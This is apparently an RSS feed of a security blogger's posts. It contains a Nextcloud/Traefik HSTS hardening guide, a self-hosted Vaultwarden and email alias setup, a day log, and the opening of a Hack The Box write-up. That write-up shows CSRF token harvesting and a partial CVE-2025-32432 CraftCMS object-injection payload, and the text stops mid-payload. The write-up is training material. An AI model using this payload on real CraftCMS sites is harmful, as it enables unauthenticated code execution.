      <guid>https://dev.to/greenbladesec/homelab-day-nextcloud-traefik-hsts-headers-that-actually-work-4cb3</guid>
      <description>&lt;p&gt;I spent part of today getting Nextcloud properly hardened behind Traefik + Cloudflare tunnel. Seemed simple. Two gotchas nearly wasted an hour.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Stack
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Nextcloud 29&lt;/strong&gt; in Docker on a Proxmox LXC&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Traefik v3&lt;/strong&gt; as reverse proxy (separate LXC)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cloudflare Tunnel&lt;/strong&gt; for public access — no open inbound ports&lt;/li&gt;
&lt;li&gt;Domain: &lt;code&gt;cloud.example.com&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Problem 1: Nextcloud Doesn't Know the Real Client IP
&lt;/h2&gt;

&lt;p&gt;Out of the box, Nextcloud sees Traefik's IP as every client's IP. This breaks:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Brute force protection (bans your proxy instead of attackers)&lt;/li&gt;
&lt;li&gt;Rate limiting&lt;/li&gt;
&lt;li&gt;Admin logs (every request looks like it's from the same IP)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Fix — set trusted proxies via &lt;code&gt;occ&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker &lt;span class="nb"&gt;exec&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; 33 nextcloud php occ config:system:set trusted_proxies 0 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;192.168.1.x  &lt;span class="c"&gt;# your Traefik IP&lt;/span&gt;

&lt;span class="c"&gt;# If you use Cloudflare Tunnel, add all Cloudflare CIDRs too:&lt;/span&gt;
docker &lt;span class="nb"&gt;exec&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; 33 nextcloud php occ config:system:set trusted_proxies 1 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;173.245.48.0/20
&lt;span class="c"&gt;# ... (repeat for all Cloudflare CIDRs from cloudflare.com/ips)&lt;/span&gt;

docker &lt;span class="nb"&gt;exec&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; 33 nextcloud php occ config:system:set forwarded_for_headers 0 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;HTTP_X_FORWARDED_FOR
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note the &lt;code&gt;-u 33&lt;/code&gt; — run as &lt;code&gt;www-data&lt;/code&gt;, not root, or occ refuses.&lt;/p&gt;

&lt;h2&gt;
  
  
  Problem 2: HSTS Headers Disappear Through Cloudflare Tunnel
&lt;/h2&gt;

&lt;p&gt;Traefik has a built-in &lt;code&gt;stsSeconds&lt;/code&gt; middleware:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;middlewares&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;default-headers&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;headers&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;browserXssFilter&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
      &lt;span class="na"&gt;contentTypeNosniff&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
      &lt;span class="na"&gt;stsSeconds&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;31536000&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This &lt;em&gt;should&lt;/em&gt; send &lt;code&gt;Strict-Transport-Security&lt;/code&gt;. It does — when traffic hits Traefik directly. But through Cloudflare Tunnel, Cloudflare terminates TLS before your Traefik sees it. Traefik receives HTTP from the tunnel daemon, so it treats the connection as non-HTTPS and suppresses STS.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Force it as an explicit custom response header instead of relying on &lt;code&gt;stsSeconds&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;middlewares&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;default-headers&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;headers&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;browserXssFilter&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
      &lt;span class="na"&gt;contentTypeNosniff&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
      &lt;span class="na"&gt;stsSeconds&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;31536000&lt;/span&gt;
      &lt;span class="na"&gt;stsIncludeSubdomains&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
      &lt;span class="na"&gt;customResponseHeaders&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
        &lt;span class="na"&gt;Strict-Transport-Security&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;max-age=31536000;&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;includeSubDomains;&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;preload"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then apply the middleware to your Nextcloud router:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;routers&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;nextcloud-https&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;entryPoints&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;websecure&lt;/span&gt;
    &lt;span class="na"&gt;middlewares&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;default-headers&lt;/span&gt;
    &lt;span class="na"&gt;rule&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Host(`cloud.example.com`)&lt;/span&gt;
    &lt;span class="na"&gt;service&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;nextcloud&lt;/span&gt;
    &lt;span class="na"&gt;tls&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;certResolver&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;cloudflare&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Traefik hot-reloads dynamic config — no restart needed. Verify:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-I&lt;/span&gt; https://cloud.example.com/login | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; strict
&lt;span class="c"&gt;# strict-transport-security: max-age=31536000; includeSubDomains; preload ✓&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Other Warnings to Clear
&lt;/h2&gt;

&lt;p&gt;Run &lt;code&gt;occ setupchecks&lt;/code&gt; to audit everything. Common ones:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Maintenance window not set&lt;/strong&gt; — without this, heavy background jobs run during your peak hours:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker &lt;span class="nb"&gt;exec&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; 33 nextcloud php occ config:system:set &lt;span class="se"&gt;\&lt;/span&gt;
  maintenance_window_start &lt;span class="nt"&gt;--value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1 &lt;span class="nt"&gt;--type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;integer
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;No default phone region&lt;/strong&gt; — affects phone number validation in profiles:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker &lt;span class="nb"&gt;exec&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; 33 nextcloud php occ config:system:set &lt;span class="se"&gt;\&lt;/span&gt;
  default_phone_region &lt;span class="nt"&gt;--value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;CA
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Installing Apps via CLI
&lt;/h2&gt;

&lt;p&gt;Skip the web UI for bulk installs. &lt;code&gt;occ app:install&lt;/code&gt; pulls from the Nextcloud app store directly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker &lt;span class="nb"&gt;exec&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; 33 nextcloud php occ app:install calendar
docker &lt;span class="nb"&gt;exec&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; 33 nextcloud php occ app:install contacts
docker &lt;span class="nb"&gt;exec&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; 33 nextcloud php occ app:install notes
docker &lt;span class="nb"&gt;exec&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; 33 nextcloud php occ app:install tasks
docker &lt;span class="nb"&gt;exec&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; 33 nextcloud php occ app:install deck      &lt;span class="c"&gt;# Kanban boards&lt;/span&gt;
docker &lt;span class="nb"&gt;exec&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; 33 nextcloud php occ app:install spreed    &lt;span class="c"&gt;# Talk/video&lt;/span&gt;
docker &lt;span class="nb"&gt;exec&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; 33 nextcloud php occ app:enable bruteforcesettings
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each installs and enables in one step. Much faster than clicking through Settings → Apps.&lt;/p&gt;

&lt;h2&gt;
  
  
  Final Security Header Check
&lt;/h2&gt;

&lt;p&gt;After all of the above:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-I&lt;/span&gt; https://cloud.example.com/login 2&amp;gt;&amp;amp;1 | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-iE&lt;/span&gt; &lt;span class="s2"&gt;"strict|x-content|x-frame|x-xss"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Expected output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;strict-transport-security: max-age=31536000; includeSubDomains; preload
x-content-type-options: nosniff
x-frame-options: SAMEORIGIN
x-xss-protection: 1; mode=block
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Set &lt;code&gt;trusted_proxies&lt;/code&gt; + &lt;code&gt;forwarded_for_headers&lt;/code&gt; via occ — critical if you're behind any proxy&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;stsSeconds&lt;/code&gt; alone won't work through Cloudflare Tunnel — use &lt;code&gt;customResponseHeaders&lt;/code&gt; to force HSTS&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;occ app:install&lt;/code&gt; beats the web UI for batch app installs&lt;/li&gt;
&lt;li&gt;Run &lt;code&gt;occ setupchecks&lt;/code&gt; — it tells you exactly what's wrong&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Nextcloud's occ CLI does most heavy lifting without ever touching the admin UI. Once you're comfortable with it, setup goes fast.&lt;/p&gt;

</description>
      <category>homelab</category>
      <category>selfhosted</category>
      <category>nextcloud</category>
      <category>traefik</category>
    </item>
    <item>
      <title>I Replaced Proton Pass with a Self-Hosted Password Manager + Private Email Aliases</title>
      <dc:creator>greenbladesec</dc:creator>
      <pubDate>Mon, 10 Aug 2026 03:41:00 +0000</pubDate>
      <link>https://dev.to/greenbladesec/i-replaced-proton-pass-with-a-self-hosted-password-manager-private-email-aliases-3b60</link>
      <guid>https://dev.to/greenbladesec/i-replaced-proton-pass-with-a-self-hosted-password-manager-private-email-aliases-3b60</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Why I wrote this: Every "privacy guide" online ends with "use a password manager." None of them tell you what to do when your email address itself is the breach vector. This is how I fixed both.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  The Problem Nobody Talks About
&lt;/h2&gt;

&lt;p&gt;Every breach notification I've ever received had one thing in common: &lt;strong&gt;my real email address was in the dump.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Password reuse is the obvious villain — but your email address is the silent one. It's your username on 40 sites. It's how attackers correlate your accounts across breaches. It's permanent.&lt;/p&gt;

&lt;p&gt;I wanted a setup where:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Every new account gets a &lt;strong&gt;unique alias&lt;/strong&gt; that routes to my real inbox&lt;/li&gt;
&lt;li&gt;Every new account gets a &lt;strong&gt;unique password&lt;/strong&gt; generat&lt;/li&gt;
&lt;li&gt;Nothing is stored on someone else's server&lt;/li&gt;
&lt;li&gt;The whole thing costs &lt;strong&gt;under $5/month&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Here's what I built.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Stack
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Layer&lt;/th&gt;
&lt;th&gt;Tool&lt;/th&gt;
&lt;th&gt;Cost&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Password vault&lt;/td&gt;
&lt;td&gt;Vaultwarden (self-hosted)&lt;/td&gt;
&lt;td&gt;~$0 (ru&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Email aliasing&lt;/td&gt;
&lt;td&gt;Addy.io&lt;/td&gt;
&lt;td&gt;~$1/month (Lite plan)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Custom domain&lt;/td&gt;
&lt;td&gt;Your registrar&lt;/td&gt;
&lt;td&gt;~$1-2/month amortiz&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Email receiving&lt;/td&gt;
&lt;td&gt;Proton Mail&lt;/td&gt;
&lt;td&gt;Free tier&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Architecture
&lt;/h2&gt;

&lt;p&gt;New signup →&lt;br&gt;
  Bitwarden browser extension generates alias via Addy&lt;br&gt;
  Bitwarden generates unique password&lt;br&gt;
  Alias routes: &lt;a href="mailto:yourname+shop123@yourdomain.com"&gt;yourname+shop123@yourdomain.com&lt;/a&gt; → secr&lt;br&gt;
  You never expose your real address&lt;/p&gt;

&lt;p&gt;Every account gets:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A unique alias (&lt;code&gt;adjective-noun-1234@yourdomain.com&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;A unique 20+ char password&lt;/li&gt;
&lt;li&gt;Zero connection to your real email&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Step 1 — Set Up Addy.io with a Custom Domain
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Register a cheap domain (&lt;code&gt;.com&lt;/code&gt; works, &lt;code&gt;.io&lt;/code&gt; is ove&lt;/li&gt;
&lt;li&gt;Add it to Addy.io as a custom domain&lt;/li&gt;
&lt;li&gt;Point the domain's MX records to Addy.io's mail ser&lt;/li&gt;
&lt;li&gt;Add SPF, DKIM, and DMARC records for email authentication&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The DNS records matter. Without DMARC enforcement, your aliases can be spoofed. Set &lt;code&gt;p=quarantine&lt;/code&gt; initially, then move to &lt;code&gt;p=reject&lt;/code&gt; once&lt;br&gt;
you confirm legitimate mail flows correctly.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 2 — Configure the Catch-All
&lt;/h2&gt;

&lt;p&gt;In Addy.io, enable a &lt;strong&gt;catch-all&lt;/strong&gt; on your custom doma&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;anything@yourdomain.com&lt;/code&gt; routes to your Proton inbo&lt;/li&gt;
&lt;li&gt;You don't need to pre-create aliases — just use &lt;code&gt;shop-name@yourdomain.com&lt;/code&gt; and it works immediately&lt;/li&gt;
&lt;li&gt;You can block or delete any alias that starts gettin&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Set your catch-all recipient to a **dedicated Proton i Keep the real address completely out of the loop.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 3 — Connect Bitwarden to Addy.io
&lt;/h2&gt;

&lt;p&gt;In Bitwarden (or Vaultwarden) settings:&lt;/p&gt;

&lt;p&gt;`Settings → Generator → Username generator → Forwarded&lt;/p&gt;

&lt;p&gt;Paste your Addy.io API key. Set your custom domain.&lt;/p&gt;

&lt;p&gt;Now when you create a new login in Bitwarden, hit the he username field — it calls the Addy.io API, creates areal alias on the fly, and populates the field. No copy-paste. No manual alias creation.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 4 — Self-Host Vaultwarden
&lt;/h2&gt;

&lt;p&gt;Vaultwarden is an open-source Bitwarden-compatible server. Docker Compose setup:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;&lt;/code&gt;`yaml&lt;br&gt;
services:&lt;br&gt;
  vaultwarden:&lt;br&gt;
    image: vaultwarden/server:latest&lt;br&gt;
    restart: unless-stopped&lt;br&gt;
    environment:&lt;br&gt;
      DOMAIN: "&lt;a href="https://vault.yourdomain.com" rel="noopener noreferrer"&gt;https://vault.yourdomain.com&lt;/a&gt;"&lt;br&gt;
      SIGNUPS_ALLOWED: "false"&lt;br&gt;
    volumes:&lt;br&gt;
      - ./vw-data:/data&lt;/p&gt;

&lt;p&gt;Put it behind a reverse proxy (Traefik, Caddy, or nginowser extension connects to it identically to the cloudversion.&lt;/p&gt;




&lt;p&gt;What I Got&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Alias per site — when &lt;a href="mailto:shop-abc123@yourdomain.com"&gt;shop-abc123@yourdomain.com&lt;/a&gt; getich site sold my data&lt;/li&gt;
&lt;li&gt;Zero email exposure — my real address doesn't exist in any vendor's DB&lt;/li&gt;
&lt;li&gt;Auto-generation — alias + password created in one cl&lt;/li&gt;
&lt;li&gt;Full self-hosted control — vault on my hardware, no subscription for the vault itself&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Cost breakdown:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Domain: ~$15/year&lt;/li&gt;
&lt;li&gt;Addy.io Lite: $12/year&lt;/li&gt;
&lt;li&gt;Vaultwarden: $0 (already running homelab)&lt;/li&gt;
&lt;li&gt;Total: ~$27/year (~$2.25/month)&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;What Would You Add?&lt;/p&gt;

&lt;p&gt;I'm debating two upgrades:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Webhook on new alias creation → log to my SIEM for&lt;/li&gt;
&lt;li&gt;Auto-disable aliases that receive breach notification emails&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;What's your aliasing/vault setup? Running something similar, or a totally different approach? Drop it in the comments — genuinely curious&lt;br&gt;
what the tradeoffs look like for different threat mode&lt;/p&gt;




&lt;p&gt;Running a homelab-first security stack. Posts on practical defensive security, self-hosting, and building tools that actually get used.&lt;/p&gt;




</description>
      <category>security</category>
      <category>selfhosted</category>
      <category>privacy</category>
      <category>homelab</category>
    </item>
    <item>
      <title>Day Log — 2026-08-09</title>
      <dc:creator>greenbladesec</dc:creator>
      <pubDate>Sun, 09 Aug 2026 14:58:07 +0000</pubDate>
      <link>https://dev.to/greenbladesec/day-log-2026-08-09-8oh</link>
      <guid>https://dev.to/greenbladesec/day-log-2026-08-09-8oh</guid>
      <description>&lt;h2&gt;
  
  
  Day Log — 2026-08-09
&lt;/h2&gt;

&lt;p&gt;Infrastructure day — not the glamorous kind, but the kind that makes everything else possible. Spent time verifying the self-hosted Git push pipeline rather than shipping features.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;75hard-tracker&lt;/strong&gt; — Tested and verified the Forgejo push pipeline end-to-end, then cleaned up the test artifact left behind. Matters because self-hosted Git is a real-world skill: organizations run private Gitea/Forgejo instances constantly, and knowing how to debug push hooks, verify remote connectivity, and keep repos clean translates directly to DevSecOps work. The problem it solved: I needed confidence the pipeline actually worked before trusting it with real project history.&lt;/p&gt;

&lt;p&gt;Not a flashy day, but pipeline reliability is the unsexy foundation under every security automation project. A broken push pipeline means broken CI, broken deployment, and eventually broken trust in your tooling.&lt;/p&gt;

&lt;p&gt;Next up: start committing actual 75hard-tracker feature code now that the push plumbing is confirmed solid. Lesson today — always verify infrastructure end-to-end before building on it, not after.&lt;/p&gt;

&lt;p&gt;tags: security, devlog, homelab, opensource&lt;/p&gt;

</description>
      <category>security</category>
      <category>devlog</category>
      <category>homelab</category>
      <category>opensource</category>
    </item>
    <item>
      <title>HTB Orion — CraftCMS RCE, a Reverse Shell That Wouldn't Connect, and a Telnetd Auth Bypass</title>
      <dc:creator>greenbladesec</dc:creator>
      <pubDate>Sun, 26 Jul 2026 01:05:25 +0000</pubDate>
      <link>https://dev.to/greenbladesec/htb-orion-craftcms-rce-a-reverse-shell-that-wouldnt-connect-and-a-telnetd-auth-bypass-4nj2</link>
      <guid>https://dev.to/greenbladesec/htb-orion-craftcms-rce-a-reverse-shell-that-wouldnt-connect-and-a-telnetd-auth-bypass-4nj2</guid>
      <description>&lt;h1&gt;
  
  
  HTB Orion — Writeup
&lt;/h1&gt;

&lt;p&gt;Orion is rated "Very Easy" on Hack The Box, but the path to root turned into a genuinely useful debugging exercise — less about the exploit chain itself and more about what happens when your tooling fights you. This is a writeup of my own run at it, including the parts that didn't go according to plan.&lt;/p&gt;

&lt;h2&gt;
  
  
  Recon
&lt;/h2&gt;

&lt;p&gt;Standard start:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-sCV&lt;/span&gt; 10.129.69.96
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two ports: 22 (OpenSSH 8.9p1) and 80 (nginx 1.18.0), redirecting to orion.htb.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"10.129.69.96 orion.htb"&lt;/span&gt; | &lt;span class="nb"&gt;sudo tee&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt; /etc/hosts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The site was a telecom company page with "Powered by CraftCMS" in the footer. A quick directory fuzz confirmed /admin → /admin/login, and the login page leaked the exact CraftCMS version: 5.6.16.&lt;/p&gt;

&lt;p&gt;That version is vulnerable to CVE-2025-32432 — an unauthenticated RCE in Craft's image transform endpoint, caused by Yii's object-configuration system trusting attacker-controlled JSON to decide which PHP class gets instantiated.&lt;/p&gt;

&lt;h2&gt;
  
  
  Manual CSRF Bypass (the interesting part)
&lt;/h2&gt;

&lt;p&gt;The generate-transform action is CSRF-protected, so before touching the RCE I wanted to prove the bypass by hand rather than just firing Metasploit at it.&lt;/p&gt;

&lt;p&gt;Craft/Yii ties CSRF validation to session state, so you need three things from the same session:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;CraftSessionId cookie&lt;/li&gt;
&lt;li&gt;CRAFT_CSRF_TOKEN cookie (Yii's server-side reference)&lt;/li&gt;
&lt;li&gt;the actual csrfTokenValue, embedded in the login page's HTML/JS
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; cookies.txt http://orion.htb/admin/login &lt;span class="nt"&gt;-o&lt;/span&gt; login.html
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="s1"&gt;'csrfTokenValue[^,]*'&lt;/span&gt; login.html
&lt;span class="nb"&gt;cat &lt;/span&gt;cookies.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With those in hand, I built the exploit payload. Using GuzzleHttp\Psr7\FnStream with _fn_close: phpinfo, its destructor calls phpinfo() when the object is torn down:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"assetId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"handle"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"width"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;123&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"height"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;123&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"as session"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"class"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"craft&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;behaviors&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;FieldLayoutBehavior"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"__class"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"GuzzleHttp&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;Psr7&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;FnStream"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
